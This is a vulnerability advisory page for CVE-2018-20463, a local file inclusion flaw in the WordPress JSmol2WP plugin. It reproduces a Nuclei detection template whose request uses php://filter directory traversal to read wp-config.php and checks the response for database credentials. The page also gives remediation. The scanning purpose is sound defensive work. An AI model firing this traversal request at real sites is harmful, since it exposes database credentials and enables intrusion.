CVE-2018-20463: WordPress JSmol2WP <=1.07 - Local File Inclusion

2025-08-01 WordPress JSmol2WP PoC Public

Description

WordPress JSmol2WP plugin 1.07 is susceptible to local file inclusion via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This can also be exploited for server-side request forgery.

PoC

id: CVE-2018-20463

info:
  name: WordPress JSmol2WP <=1.07 - Local File Inclusion
  author: vinit989
  severity: high
  description: |
    WordPress JSmol2WP plugin 1.07 is susceptible to local file inclusion via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This can also be exploited for server-side request forgery.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update to the latest version of the JSmol2WP plugin (>=1.08) or remove the plugin if it is not necessary.
  reference:
    - https://wpscan.com/vulnerability/9197
    - https://wordpress.org/plugins/jsmol2wp/
    - https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20463
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20463
    cwe-id: CWE-22
    epss-score: 0.13187
    epss-percentile: 0.96166
    cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jsmol2wp_project
    product: jsmol2wp
    framework: wordpress
  tags: cve,cve2018,wp,wp-plugin,wordpress,jsmol2wp,wpscan,traversal,jsmol2wp_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'DB_USER',"
          - "'DB_PASSWORD'"
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201fba0aac3e76bb09745602671fd1bb392bc16b87477f06cb8c45aaf56afec19f022100d5841069a435abc1b6c3af865421902d711c46402b10315b225833efb1e544b2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-20463.yaml

References

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